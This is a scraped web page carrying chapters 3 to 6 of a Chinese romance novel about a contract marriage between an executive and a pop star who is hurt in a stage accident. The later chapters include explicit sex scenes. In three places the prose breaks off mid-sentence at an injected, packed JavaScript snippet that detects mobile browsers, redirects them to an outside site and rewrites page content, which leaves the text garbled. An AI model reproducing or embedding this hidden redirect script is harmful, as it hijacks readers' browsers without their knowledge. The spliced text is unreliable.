《丈夫的容貌,妻子的荣耀》 3. 第 3 章 夏青妍开了一场跨国视频会议,会议很长,一直到中午。书房同在二楼,会议结束后,夏青妍才从书房离开。 正是午饭时间,午餐已经端至桌上。 夏青妍才在餐桌上坐定,楼上,另一个人踏步走下。 秦让只穿一件黑色的T恤和一条休闲裤,一手扶在扶梯上,另一只手松松擦进裤兜,姿态散漫,显然是睡到现在才起。 见到夏青妍,他勾了勾唇,懒洋洋喊两字:“夏总。” 他长得太好,不需任何修饰,只简单的衣服穿在身上,也显出不凡,天生便如聚光体一般。 夏青妍抬眸,视线从他那张脸上掠过,略点一下头。 待他走近时,夏青妍开口:“你还没走。” 没有赶人的意思,只是称述一个事实。 在平时,一夜之后,第二天他们通常见不上面的。夏青妍有事要忙,早出晚归,待夏青妍回到家中,秦让早已经走了。 秦让并不介意夏青妍冷冰冰的语气,走下楼后拉开椅子:“下午回老宅子一趟。” 坐下后,秦让才问:“夏总有没有空?” 近两月,秦让忙于演唱会,一个月两场,统共七场。几场演唱分散在国内七个省会城市,练歌预演彩排,需要准备的事情有很多。除开演唱会,他还有别的事,不止国内各个城市四处飞,国外还有安排,已经两个月没回陵城。 这一次,秦让回陵城,除开要履行与夏青妍每月一次家庭聚餐的约定,另一个是要去探望秦正海。老爷子今年九十二高龄,看着身体不错,实则有许多基础病,身体机能都在下降。月中旬秦正海出门一趟,染上风寒,至今仍未痊愈。 秦让既然问夏青妍有没有空,那就是想让夏青妍一起去的意思。 今天是周六,夏青妍归国才两天,下午其实还安排有别的事,但秦正海对夏青妍有莫大的恩情。两年前,夏青妍能在夏家争权时脱颖而出,离不开秦家的鼎力支持。 夏青妍抬手看一眼时间,点头:“有。” “下午两点鼎力总裁与我有约,三点以后才有空闲。” 她已经尽量将时间压缩。 秦让知道她忙,几乎将所有的时间都花费在工作上。 他修长的眉目轻佻,唇轻轻弯了弯:“那就三点。” 午餐端上来,两人面对面,坐在一张桌上吃了。 这一顿饭吃得安静,餐桌上除了杯盘碰撞发出的动静,悄然无声。 两人生活没有交集,在一起时也没有什么共同语言。 除特定时段外,实则这才是他们平时相处的常态。 像两个并不熟悉的陌生人。 饭后,夏青妍换一身衣服离开。鼎力是一家异军突起的科技公司,主要研发人工智能与高端芯片。月初,鼎力成功发布一款视觉芯片,这款视觉芯片算力强,功耗低,成本也低适合用在智能汽车上。 下午,夏青妍与鼎力创始人之一林百川在茶室见面,三点准时与秦让汇合,坐车到秦家老宅。 老宅子现今只有秦正海一个人住,秦正海有秦泽元和亲泽宇两个儿子,两人结婚后,纷纷都搬出独住,近些年,秦正海年龄上去,却不愿搬离老宅,仍是一人独居。 秦让回来陵城的事没有和家里说,秦正海午觉刚醒,就被告知秦让和夏青妍来了。 秦正海从房间走出来,秦让和夏青妍已经在沙发上坐着。 要说秦家谁最愿意见到夏青妍,必然就是秦正海,夏家的长辈中,属他最中意夏青妍。 “爷爷。” 两人双双站起来喊人。 秦正海身体硬朗,走路不需要人搀扶。见到两人,掩不住的笑意问:“怎么忽然来,也没提前打声招呼。” 秦让:“开演唱会太忙,定不下时间。” 秦正海知道近期秦让开演唱会没有回陵城,平日里秦让在陵城,是每月都要过来的,有时和夏青妍一起,有时是一个人。 秦正海点下头:“演唱会虽忙,但也要注意合理安排休息。” 秦正海年轻创业时,整日忙碌,后来几十年也完全没有空闲,他对两个儿子都极其严厉,不容许有半分懈怠,但到秦让这个最小的孙子这里,却是再纵容不过。 夏青妍这才说:“听说您感冒,本该早点儿来看您。” 秦正海摆摆手,并不在意:“小毛病而已,打不垮我,我身体还好着。” 刚才在路上时,秦让就一直在手机上和团队沟通下场演唱会的事,这会儿还没聊完。时间尚早,秦让和秦正海打完招呼又坐回沙发,他素来随性,在老宅没半分拘束,秦正海也没管他,喊了夏青妍陪他去下棋。 下棋是秦正海老年才有的爱好,老宅里设有专门的棋室,平日无人时,他自己也能在里面待个大半日。 两人进去坐下后,佣人端来茶具,为两人沏茶。 棋盘刚摆上,秦正海的胜负欲便上来:“上月你来,下棋输给了你,看我这次要赢回来。” 上月秦让没回陵城,夏青妍仍是抽空来了一趟秦家老宅,陪秦正海下了一场棋。 秦正海说完,夏青妍浅浅露出笑容:“那我等着看您的厉害。” 起初,两人维持正常的速度,到后来,秦正海越下越慢,轮到他时,总是要考虑许久,花上一些时间。 夏青妍不催,与他慢慢来。 能陪秦正海下棋的人不少,但这么多人里,秦正海最爱与夏青妍下棋,只因夏青妍是真的与他认真下,不会为哄他开心而让着他。 在思考足足超五分钟后,秦正海炮往前行。 接下来,夏青妍移动一只小兵。 秦正海一怔。 夏青妍的兵在一个很不起眼的地方,但最后的结果, 他本已胜券在握,哪知夏青妍出其不意,不变应万变。 他盯着棋盘看许久,终于摇头笑道:“这次还是我输。” 夏青妍扬唇:“您比上一次坚持得更久,棋艺又精进了。” 秦正海叹道:“还是比不过你。” 夏青妍对秦正海笑一笑。 她在初中时就曾就是学校象棋社主力,代表学校参加国家青少年象棋比赛,拿下冠军。棋艺这方面,鲜少有人能比得过她。 下完一盘棋,时间已过去一两小时,没有再下一盘的必要。秦正海让人收了棋盘,亲自端了紫砂茶壶,为两人沏茶。 “第一次见你时,你还是小小的一个,被周复生抱在怀里。” 倒茶时,秦正海说起往事,他笑道:“现在不但成为我的孙媳妇,次次下棋都赢我,胆子大得很。” 周复生是周瑾的父亲,早年和秦正海一起当兵,又一起下海创业,两人情同兄弟,只是周复生去得早,他死后,周家就和秦家逐渐没了往来。 夏青妍打小聪慧伶俐,年幼时,周复生最喜欢她,常带她到秦家来玩。 后来周复生没了,秦正海也再也没见过夏青妍。 夏青妍丝毫不慌张,只看着秦正海,张口说:“可我次次来,您次次都要让我陪您下一局。这样看来,还是您的胆子更大,越挫越勇。” 惹得秦正海哈哈笑。 两年前,秦正海坚持秦夏两家联姻固然有已过世周复生的关系,最大的原因还在于夏青妍本身。夏青妍聪慧内敛,又寻常女子没有的稳重和气度,正好可以克制秦让那不驯叛逆,不服管教的性格。 秦让父母太忙,打小没时间管他,秦正海自己带孙,又纵得他无法无天。秦让需要被一个这样的人拘着。 秦正海强行拉郎配,两年前或许还是为着私心,但这两年相处,秦正海对夏青妍更增添几分关怀。秦让在他眼皮子底下长大,他深知这个孙子的德行,就不是什么循规蹈矩的人。 秦正海怕夏青妍在这段婚姻里受委屈,他看着坐在对面,笑盈盈的夏青妍,浅浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦正海见状,只觉秦让是当着他的面在给夏青妍施压。 他正色道:“你扪心自问,妍妍嫁给你两年,你有没有尽到一个丈夫的应尽的责任?” “你做不到,自然也不能强求别人对你如何。这两年来,你忙时,并不是每月都能准时来看我,但你不来,妍妍却次次都没落下。她有这份心,就已经比你强许多!” 秦正海对夏青妍的喜爱,不是一天两天才有,日积月累,他从未后悔当初让秦让迎娶夏青妍这个决定。只是他这个孙子,实在不懂得珍惜。 放任两年,秦正海由不得他再继续胡闹。 秦正海:“不要以为我不说,我就不知道,结婚两年,你还住在原来的地方,每月只回一次家。你和妍妍都已经结婚,为什么还要分开住?” 他们是怎么结婚的,秦正海心里门清。也正因如此,他格外的关注两人的婚姻状况,从前不说,只是装作不知,但是两年了,也该有个改变。 秦正海话是对着秦让说,可秦让和夏青妍皆知,他不仅仅只说给秦让听,也是说给夏青妍听。 秦让和夏青妍分开住这件事,秦让就没想过能瞒过秦正海,但是没想到两年秦正海都不作声,却忽然选在现在这个时候开口。 他朝夏青妍看去,只见夏青妍面色如常,端起茶水轻抿,好似事不关己。 夏总一点儿也没在慌的。 他在心底轻啧。 “也行啊。” 就听他回答道。 夏青妍抬起眼眸,对上秦让的视线,只见那一双好看迷人的眼眸里,隐约划过一丝恶劣。 “我也早想和夏总沟通感情,毕竟我们已经是夫妻,夫妻哪儿有分开住的道理。” 夏青妍心底闪过某种不好的预感,果然,接下来就听秦让说道:“等我这次演唱会结束,就搬过去。” “妍妍,你应该没问题吧?” 双方都知道,妍妍这两字,喊得有多刻意。 秦正海皱眉,才想斥责秦让胡乱称呼,将夏青妍喊成夏总,又因这两个字而将话咽回去。 两人齐齐看向夏青妍。 夏青妍将茶杯放下,对着秦让说:“你愿意搬过来当然最好。” 4.第 4 章 嘴上说是要搬过来,事实上出了老宅之后,在不到两百米的转弯处,秦让的车已经在路口等着。秦让赶着去参加音乐活动,坐上他的专车,又去往机场,离开了陵城。 周瑾拿到古董花瓶后,给夏青妍打了个电话,说花瓶不错,她很喜欢。 夏青妍那时还坐在车上,与周瑾简单聊几句,挂了电话。她没有和周瑾说秦让回过陵城。 很快便到元旦节。 元旦节时,所有人都在放假,夏青妍事情繁多,没有假期。她接管夏氏两年时间,这些年经济下行,又逢夏氏掌权者更迭,夏明生瘫躺在床上,他的继承者忙于争权,而所有知道内幕的人都知道,那时的夏氏只是表面看着光鲜,实则内里早已是千疮百孔,不复早年的荣光。 当初夏青妍从所有继承者中以黑马之姿脱颖而出,成为夏氏新任掌权者,外界都传夏青妍的厉害,实则,少有人知,夏青妍是接手了一盘烂摊子。夏明生子女众多,家族企业各怀心思,内里盘根错节,还有一个林雅彤虎视眈眈。在起初的一年里,夏青妍的位置坐得并不安稳。 前有狼后有虎,内忧外患,可见要耗费多大的心力,这两年,夏青妍手段雷霆,一刻也不停歇。 好在,瘦死的骆驼比马大,夏青妍又完美继承夏明生的经商天赋,青出于蓝胜于蓝。 一月五日,是夏家三千金夏婉莹与程家三公子程铭举办订婚宴的日子。 这样的场合,作为夏家的家主,夏青妍是需要参加的。 至少,她要出面以告诉所有人,夏明生虽死,但夏家没有散。 夏婉莹比夏青妍小三岁,是林雅彤为夏明生生下的第一个孩子,在夏家排老三。夏明生除了林雅彤的孩子,还有私生子夏景豪,以及其他数个子女,均以养子养女名义养在林雅彤名下,其中,有两个还不满十岁。 林雅彤争权失败,夏明生死后,林雅彤便将夏明生的私生子全赶出别墅,夏婉莹的订婚宴上,那些私生子们一个也没有出现。 夏青妍到这订婚宴时,已经是订婚宴的后半程。如果说现在林雅彤最恨的人是谁,那非夏青妍莫属。偏现在夏家由夏青妍掌权,她还得笑脸相迎。无论是顾虑到场合,还是做给别人看,林雅彤都得欢声笑语地将夏青妍给迎进去,女儿订婚,她却连主位都坐不得,也得一并让给夏青妍。 忌惮于夏青妍的手段,不止夏家人,程家在面对夏青妍时,也是笑意盈盈,言语行动中透着些许讨好。程家在陵城只能算末流,夏家这两年在夏青妍的手中日益好转,扭亏为盈,年中时,夏青妍又与通力合作,将夏氏推向新的巅峰。 如果不是如此,程家也会这样快与夏婉莹定这个婚。能巴结一点儿是一点儿,夏氏一体,夏青妍与林雅彤不合,但夏婉莹毕竟还姓夏,手里还握着夏氏的股份,两家结亲,总能从里面捞点儿好处。 订婚宴上一副和乐融融的景象。 夏青妍没有待太长时间,她被一通电话喊走。 秦让的演唱会预演出了事,演唱会场上威亚出问题,秦让从高空摔落,电话打到夏青妍这里时,秦让已经在医院抢救。 秦让的这场演唱会是在青州,与陵城相隔数百公里,夏青妍从宴会厅出来后坐车直奔青州,到青州时已到深夜。 车子直接开进医院。 她在医院见到秦让的经纪人易安。 “夏总。” 易安见到夏青妍踏出电梯,快步朝她走去。 对于夏青妍与秦让的关系,秦让团队里的人基本都知道,事先签过相关保密协议,对外守口如瓶。 夏青妍见到他,脚步未停:“情况怎么样?” 易安:“威亚的卡扣没有扣稳,秦让在上升时从十米左右空中落下……” 同样的话,夏青妍昨夜在电话里已经听过一次,她现在要听的不是这个。 她出言打断:“他现在身体怎样?” 夏青妍朝易安看去,一双眼眸冷静而淡漠。 她不掺情感讲究高效的处事风格与秦让很不相同,易安毕竟是王牌经纪人,很快跟上她的思路:“脑震荡,人还没醒,不知有什么后遗症,小腿粉碎性骨折,身上手臂上也有多处擦伤。” 好在地面上正好有一叠装过东西的纸箱,为他做了些许缓冲。 性命无忧。 从七八米的空中摔下来,听起来这似乎已经是很好的结果。 夏青妍点一点头,由着易安将她引至重症ICU。 “医生说术后需要观察,待清醒确定人没事后再转入普通病房。” 站在门口,易安对夏青妍说。 “您要进去看一看吗?” 易安对着夏青妍不自觉便用上敬称,“进去的话,需要换上无菌服。” 重症室有一个玻璃窗口,透过窗口,能看见病床里面的人。 四周静谧,他躺在那一处,腿上缠绕石膏,头上包裹纱布。 结婚两年,夏青妍从来见到过如此安静脆弱的秦让。上月在陵城还好端端,不过一阵不见,他便将自己伤到进医院。 明星在演唱会上出事故的新闻屡见不鲜,可夏青妍没想到这件事有一天竟会落在秦让头上。歌星只要唱歌就足够,所以,为什么会有吊威亚这样危险的环节? 夏青妍看着ICU中安静睡着的秦让,深深皱眉,过一会儿,方才转头道:“不用。” “今天的事,封锁住消息,不要外传。” 她对易安说:“秦让今年剩下的两场演唱会全都取消,处理好赔偿事宜,及时安抚粉丝的情绪。” 秦让现在还没醒,没醒就不算是真正度过危险期。 就算他立即醒来,他的体力和状态也不适宜支撑这两场演唱会。两场演唱会的时间间隔不到一个月,离得太近。 “但是秦让……” 易安没想到夏青妍会插手这件事。 有关演唱会的事,易安其实已经着手在办,只是秦让没有醒来,究竟是推迟还是取消,还要等等才知道。 秦让的性格,谁也无法替他来做决定,从来都只有别人听他的。 “他没醒,而我是他的妻子。” 夏青妍看穿易安的未尽之意,易安是秦让的经纪人,只见过她两三次,基本无交流,他大约对她不是很了解。但凡她说的话,就不会收回,更不会再说第二次。 她抬眸看着易安,神色淡淡,她虽没易安高,但却给人居高临下之感:“我说取消就取消。” 易安感受到来自于对面给的压迫,秦让出事,演唱会预演上虽没有粉丝在场,但工作人员不少,外界已经隐隐有一些流言传出,各界给易安的压力都很大。 易安没有考虑太久便回答:“好的,夏总。” 他并不勉强,只算作是顺势而为。 反正秦让醒来,发现演唱会被取消,天塌也有夏总顶着。 后面的时间,夏青妍没有与易安再说。秦让的主治医生得知病人家属到了,匆匆过来。 外界的人不知夏青妍和秦让的关系,他见到夏青妍先是一愣,而后才问:“你是病人家属?” 夏青妍点头,说:“是。” 医生确认了,这才朝她招手:“你……请您过来,我和您说说病人的情况。” 夏青妍与医生一起去了医生办公室。 …… 第二天早晨七点十分,秦让醒了。 夏青妍在七点十五分接到易安打来的电话。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361205|199167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她赶去医院,秦让已经转出ICU,住进普通病房。 病房中站许多人,医生刚刚为秦让检查完,见到夏青妍,医生主动为她讲解情况。 情况相当良好。 有轻微脑震荡,但无其他后遗症,没有失明,没有失忆,也没有其他脑损伤。 总结来讲,万幸,除了骨折,其他没什么大碍。 待医生和护士都出去,整个病房才安静一些,易安也极有眼色地走出去,病房中,只留下秦让与夏青妍。 秦让先开口:“夏总……我听说,你把我的演唱会都取消了?” 秦让靠坐在床上,双手环胸。本该气势汹汹的问话,但因着他头上的纱布和腿上的石膏,而显得有几气弱。 结婚两年,夏青妍其实鲜少细看秦让的容颜。 但此时,夏青妍朝他看去,目光不由得落在他的脸上。 即便病着,也依旧初衷到令人惊艳。灯光在他浓密的长睫处留下阴影,脸上的擦伤和略显苍白的脸色,又使得他比平日多增添几分病弱感。 是与平日里不太一样的秦让。 他的话半分也影响不了夏青妍。 “既然受伤,就应该好好养病,将身体养好再提别的事。” 夏青妍淡淡道,就秦让目前发生这样的意外,先不说演唱会能不能继续进行,这个娱乐圈还能不能继续待下去还是个问题。她只是先秦家一步处理了这件事而已。 “你该感谢我,比秦家的人更早来。” 有她先做处理,秦家人对于此事再多的气怒与担忧都会适当收敛,至少,不会要求秦让立即离开娱乐圈。 虽然,即便秦家人有此要求,夏青妍认为秦让也不会听。 夏青妍伸手,看一眼腕表:“你的父母目前在国外,不方便回国,秦翊还在路上,应该过一个小时就到。” “至于爷爷,”她淡声道:“他还不知道这件事。” 所有人都极有默契的守口如瓶,秦让出事,怕将老爷子急出个好歹。 秦让安静听夏青妍讲完。 他没再说其它,而是问:“你昨夜是坐车过来?” 陵城开车到青州要六七个小时,夏青妍来得这样及时,易安说昨夜夏青妍凌晨就到,据推断,夏青妍是接到易安的电话就直接坐车来了。 夏青妍轻点一下头:“飞机太慢。” 私人飞机要临时申请路线,航空公司要等待航班,不如开车更快。 秦让看着夏青妍。 他没有料到,他出事,会是她第一个到达医院。 只是协议婚姻,她大可不必如此。 但不可否认的是,醒来之后能见到她,心情也莫名变好了许多。 秦让嘴角轻扬。 病房安静,两人都没有再说话。 “夏青妍。” 片刻后,他直呼她的大名。 秦让对于夏青妍的称呼,多是姓氏再带个总,带点儿调侃之意,或是在床上,故意为之,恶劣到极致,少有直接喊她名字的时候,可无论他如何喊她,她都没什么所谓。 不过是一个称呼,她从来不在乎。 秦让见她没什么反应,故态复萌,又喊道:“夏总。” 夏青妍挑眉,朝他看去。 秦让轻轻笑一声。 “看来你还是喜欢我这样称呼你。” 夏青妍不知道他的话题为什么会忽然转到称呼上面,却还是配合回答他道:“你想怎样称呼都可以。” 秦翊来时,秦让正在喝粥。 夏青妍没有久待,她临时到青州,陵城许多事还没来得及处理。既然秦让没事,秦翊也过来,当日早上,她就从青州离开,回了陵城。 5.第 5 章 秦让接连取消两场演唱会,在外界还是引起了不小的震动。 他在演唱会预演出事的传言悄然传开。对此,秦让的工作室做了简短的回应,证实受伤的真实性的同时,也安抚他的粉丝。 秦让在青州只住了三天院,他状况稳定之后,秦翊安排专机,将他接回陵城,住进私人医院。 夏青妍太忙,在秦让住院期间,没有再去探望。直到夏青妍接到易安的电话,被通知秦让即将出院。 彼时,夏青妍正开完一个长会回到办公室。 “秦总住院半个月,明天就要出院了,您要来接他出院吗?” 电话里,易安对夏青妍说。 他说得极其委婉。 秦让在转院回陵城后,每日待在医院中,来看他的人一波接一波,几乎没有闲着的时候。作为秦让的经纪人,对于秦让与夏青妍的关系,易安是知道的。夏青妍没来,那也没什么,这对夫妻原本就不怎么见面。 秦让没有表现出任何异常,直到下午,相继送走秦茂林李婉华,秦翊夫妇,病房无人时,秦让才略显奇怪问:“半个月了,夏青妍一次也没来,她是不知道我已经转回陵城?” 易安才知道,原来不管来探望的人有多少,对于夏青妍没来这件事,秦让仍是有几分介意。 秦让转院回陵城,夏青妍自然知晓,就易安自己,就曾发信息过去知会。只是这样的小事,易安没有对秦让提。 于是,就有了这样的一通电话打来。 夏青妍自然是不知道这背后的事,接到易安的电话,夏青妍才发觉时间过得太快,距离秦让出事已经半个月。 易安打的这通电话,虽然话没多长,信息量却很大,不但提到时间,还告知明天秦让就要出院。这半个月,夏青妍没有去医院探望,作为秦让的妻子,无论两人之间有没有感情,于情于理,在秦让出院时,她都应该出现。但十分不巧,她要出发到F国,隔日在F国有一个重要的跨国交流会,行程已经排好,不能再改。 “明天有事。” 夏青妍伸手看表,她夜晚的飞机,现在还有一点儿时间:“我大约半小时后到医院。” 医院里,易安收起手机。 他特地走出病房去打电话,电话打完,再回到病房。 秦让一个人在病房,他头上的纱布已经取掉,身上的擦伤也好得差不多。只除了一条腿,依旧打着石膏。他行动不方便,却不想成日待在病床,易安推开病房的门,便见秦让坐在沙发中,将打上石膏那条腿搁放在茶几上,拿着电视遥控器按来按去,百无聊赖的模样。 “夏总说待会过来看你。” 进去后,易安对秦让说。 电视没什么好看,秦让一个台看几秒又换另一个,闻言转头:“夏总?” 隔两秒,才反应过来易安口中的夏总是夏青妍。 他忽而轻哼一声,将遥控器扔在了茶几上。 “半个月,我明天都要出院了。” “她现在才来。” 夏青妍到时,秦让病房的门敞开着。 她走进去,见到只秦让一个人坐在病床上。 “怎么只有你一个人?” 夏青妍问秦让。 她以为易安会陪着他。 秦让看似平静,对着夏青妍微微扬起薄唇,答非所问:“半个月以前,夏总离开青州时不说一声,难为夏总还记得来看我。” 在青州时,秦翊去看望秦让,夏青妍走后就没回病房,秦让一天都没再见到夏青妍,一问才知道,夏青妍早已经离开青州。走得特别干脆,一点儿不拖泥带水。 秦让绝不承认对于这件事他有什么介意,毕竟,他与夏青妍也不过是协议婚姻,不存在什么情谊,在夏青妍那里,工作比他更重要,他绝对可以理解。 “何必多走这一趟,再过几天,我石膏一拆,病都好了。” 秦让慢悠悠又说。 夏青妍听出秦让言语间隐隐的不满,却不太理解。 他在不满什么? 不过,她没有深究,也没必要深究。她时间不多,也无心去了解,有些不重要的东西,直接可以忽略。 “我听说你明天出院,但我明天有事,没有时间。” 夏青妍走进病房,在秦让床前站定,“这段时间比较忙。” 勉强算是解释了这半个月为什么没来。 秦让闻言提眉:“难道夏总还有不忙的时候?” 他那一双好看的眼眸直勾勾看着夏青妍,眼中似透着不解,又有一种本该如此的了然。 别的不说,夏青妍将工作永远将工作排在第一位这件事,他在还未与夏青妍结婚前,就已经知道。 念在夫妻一场,夏青妍对秦让的忍耐度比旁人要高,好脾气回答:“没有。” 得来秦让一声哼笑。 还不如不回答他。 不过,夏青妍向来如此,他倒也已经习惯。 夏青妍既然已经来了,秦让也不想将时间浪费在无意义的事情上,才想与夏青妍聊点正事,哪知就在这时,夏青妍抬手看了一下腕表。 就像是一个讯号。 话到嘴边,秦让换了别的:“你有事?” 夏青妍再看一眼手表:“我晚上八点的飞机。” 现在已经近七点,见过秦让,她该走了。 秦让却还问:“要去哪儿?” 夏青妍:“F国。” 秦让不再说话。 她说的明天有事,不能来接他,原来是要出国。 安静片刻,夏青妍:“如果没事……” “有事。” 秦让开口,打断她的话。 夏青妍顿住。 秦让像是看不懂夏青妍想走的意图,轻抬起眉,一双长眸注视着夏青妍,慢声说:“我受了伤,家里人不放心我一个人住。” 秦让和夏青妍两人分开住这件事是瞒不住的,秦家人都知道。当初两人结婚前,秦让反抗得厉害,婚是秦正海一定要秦让结,秦茂林李婉华两人的婚姻虽也是利益结合,但到下一代,秦翊与江语晨是大学同学,就已经是自由恋爱,时代不一样,秦茂林和李婉华也没将老一辈的那套强加在孩子身上。 有关秦让的婚姻,秦茂林和李婉华虽不愿逼迫,可在秦家,除秦让外,没有人会忤逆秦正海。两年前,秦让有多反对,闹得就有多凶,后来他终于答应,秦家自然对他再无要求。除了每月一次的固定会面,其他方面,秦家都是睁一只眼闭一只眼。 直至前段时间,秦正海表露出要秦让与夏青妍结束分居生活,搬到一起住的意图。 孩子大了,没幼时好管。秦正海知道秦让当面一套背后一套,答应的事就过个嘴,阳奉阴违,又怎么会放过这样好的一个机会。 秦正海只给秦让两个选择,要么回老宅陪他,要么去夏青妍那儿住。 夏青妍一愣。 她立即就懂秦让话里的含义:“你的意思是……” 秦让:“要么回老宅,要么你去那,二选一。” 好不容易从老宅出来,脱离被管束的日子,秦让当然不会再回去。 “我的腿受伤,接下来的这段时间,就要有劳夏总照顾。” 秦让对着夏青妍勾唇,露出一抹极致好看的笑容,炫彩夺目:“夏总,上次答应过的事,不会不算数吧?” 夏青妍沉默数秒,如果秦让不想去她那里,可以想出一百种办法来拒绝家里的安排,但是他偏偏没有。 为什么? 夏青妍看着秦让,发现她从来看不懂他。 她不是出尔反尔的人,别墅很大,空房就有好几个。既然他要来,那来就是了。 夏青妍摇头,答道:“当然不会。” 时间不早,与秦让说话又耽搁。 这件事说完,夏青妍:“还有没有别的事。” 秦让伸手,比出一个请。 夏青妍朝他点一下头,转身离开。 - 再回到陵城,已经是一星期之后。 夏青妍下午从F国上的飞机,时差的关系,回到陵城已是深夜。 在F国这几天,她与F国元首会面,与F国首富会谈磋商,最终达成合作。一周的高强度工作,回到陵城时,也带回一身的疲累。 到家后,她没在客厅停留,上到二楼,准备先睡一觉。 但进到房间,将灯打开之后,才发现她的床上正躺着别的人。 是秦让。 秦让睡得很沉,她开灯都没能将他吵醒。 房里暖气开得很足,他睡在她的床上,被子搭在腰间,一只腿被遮盖,另一只腿大刺刺露出来。 他的睡相并不老实。 夏青妍见到他,才记起一个星期前,秦让在医院说过会搬到她这儿。 可他为什么没有去睡客房,反而睡在她的床上? 夏青妍看着床上的秦让,轻蹙眉头。 她很累,实在懒得折腾,也没有在自己家睡客房的想法。 只站在原处不到两秒,她便关门走进房间。未免吵醒秦让,她关掉主灯,只留一盏壁灯,昏黄微弱的灯光下,她从衣柜中拿出睡衣去浴室洗了澡。洗过澡后,另拿一床被子,在床上寻了个空处躺下,很快便睡着。 第二天,生物钟让夏青妍很早便醒。 还未彻底清醒,夏青妍便已感到身体上无比沉重。她张开双眼,脑袋中有短暂的空茫。 夏青妍怔愣几秒,才逐渐将视线往下移。不知何时,秦让身上的被子已被踢至角落,他与她同盖一床被子,两人的身体相贴,他的手紧紧环在她的腰间。 难怪她会感觉到沉重。 秦让的身体倾靠在她身上,他的一条腿压住她腿,两人呈现一个从背后拥抱的姿态。这还不算什么,由于两人的贴得太近,她身后被杵着,触感清晰,不用想,她立刻都知道那是什么。 两人床都上了不知多少回,她倒也不尴尬,只是异样的触感,难免让人有想到一些东西,生出异样的感受。 她轻轻动了动,将自己的身体前挪。 只是,她一动,后面的人却又追了上来,片刻空隙也不放过。 …… 无法办到。 夏青妍沉默。 片刻之后,她选择放弃,试图先挪开那双环在她腰间的手。 可她的手才碰上他的,正要拉开时,却骤然被反握。 “别动。” 带着慵懒的,不清醒的气息,身后的人开口。 不待夏青妍反应,下一秒钟,他收拢手臂,将她环抱得更紧。 两人靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伤筋动骨一百天,秦让的腿上还打着石膏,要一个星期以后才取。 夏青妍的话,并没有让秦让更安分。 他再度往前,碰触得更多。 “你也知道,我伤的是腿。” 太……不要脸了。 夏青妍身体僵住。 感受到夏青妍由身到心的不情愿,秦让手上施力,很轻易便将夏青妍从怀中转了个身,不再背对她。 精致俊美到毫无挑剔的脸呈现在夏青妍的眼前,这人由着浓而密的长睫,高挺的鼻梁,如被精心捏造艺术一般的轮廓与五官。 但是,现在夏青妍却无心欣赏。 她皱眉,看着他说:“我早上还有事。” 在外时,她严酷又凌厉,身上自带锐利的锋芒,让人见之自动避让。 在夏氏集团,在商界,所有人都知道,夏青妍这三个字,意味着什么。没有人会再因为她是女子,而看轻她。他们在面对她时,对她妥协,对她躲避,向她垂首臣服。 可这一切,在这张床上,却都不管用。 秦让一点儿也不会怕她。 从未。 甚至,他总是因着她做出这样的神情,说出这样的话,而被她勾起心底里暗藏的征服欲。 一次,再一次。 欲罢不能。 “夏青妍,是你让我变成这样,你得负责。” 秦让不要脸,在床上时,他总是很无赖。 顾忌着伤腿,他只半压在夏青妍的身上,但这就已经足够,夏青妍根本无法挪动。 男女体型上的差距,在床上显露无疑。她在他的怀中,显得如此娇弱瘦小。 夏青妍并不喜欢这样的感受。 秦让手撑着床,额头几乎与她相抵。 暧昧亲密的姿态令人无法自持,他的声音带着轻微的沙哑和喘息:“谁让你这一个星期都去出差,我在这张床上整整等你七天。夏青妍,今天早上,你不准走。” 说罢,也不给夏青妍拒绝的机会,垂首朝她的唇,吻了下去。 想做出格的事,但秦让打着石膏的腿却是个极大的障碍。 待他吻够,他带着夏青妍翻转,下一刻,便成了夏青妍趴在他的身上。 秦让将手往夏青妍的腰上紧紧一握。 除了秦让,谁也不知,在外总是穿着西装,看不出身体曲线的夏青妍夏总,有一副窈窕纤瘦不盈一握的细腰。 秦让的掌心很烫,带着湿汗。 “我不方便。” 秦让对夏青妍说:“今天你在上面。” 他的手在她腰侧稍稍施力,毫无羞耻心说:“如果你累,我会帮你的。” 结婚两年,两人最多的交流,都是在床上。夏青妍早就已经习惯于秦让在床上的放浪。 可任凭她再心如止水,在这时,也听不得这些。 拓宽深凿的感觉令人不适,他们今天没有做太多的前戏。 她轻咬下唇,拧眉对他道:“你……闭嘴!” 这一次,秦让听了她的话。 可他嘴上没有言语,力气却都转移到手上。 不多时,夏青妍便被逼着溢出了声音,咬唇也止不住。 “想叫,就叫出来。” 秦让开口,沙哑轻喘的声音里带着不容人错辨的恶劣:“隔音很好,除了我,没有别人能听见。” 夏青妍此时无从顾及旁的感受,颠簸之中,她唇间溢出飘零散落的声音:“闭……闭,嘴……” 6.第 6 章 秦让践行他的承诺,将夏青妍缠住,在床上整整厮磨一早晨。纵然腿有不便,但在床上能用到的花样有许多,不是样样都要用到腿。 只是,他倒是得到满足,受累的人却成了夏青妍。 下床时,夏青妍腿一软,差点跌到地上,好在手册有床边柜,让她撑住身体。 这两年,秦让在床上从来都很强势,他喜欢在上位,纵然夏青妍在上面时,也只是情趣,偶一为之。床上的事,夏青妍很少与秦让争,大约是此消彼长,她在工作上已经足够累,在床上时,她便懒得多出一分的力气。 她并不热衷于此事,次次都是秦让,总要不够。 用手撑住自己,夏青妍站立在原处,霎时,酸、麻、胀、痛,全都集中在某一处朝她袭来,她差点儿又没撑住。 她皱眉,转头看向床上那个罪魁祸首。拖着他那条伤腿,秦让也已经从床上起身。床上凌乱,被糟蹋得不成样,让人无处可躺。 秦让抬眸,对上到夏青妍的视线。 以为夏青妍还想。 “站着来一次?” 夏青妍完全不知道秦让究竟在想什么,满脑种马在狂奔,她定了定神,让自己站稳。 没再理会,夏青妍转身,径直走向了浴室。 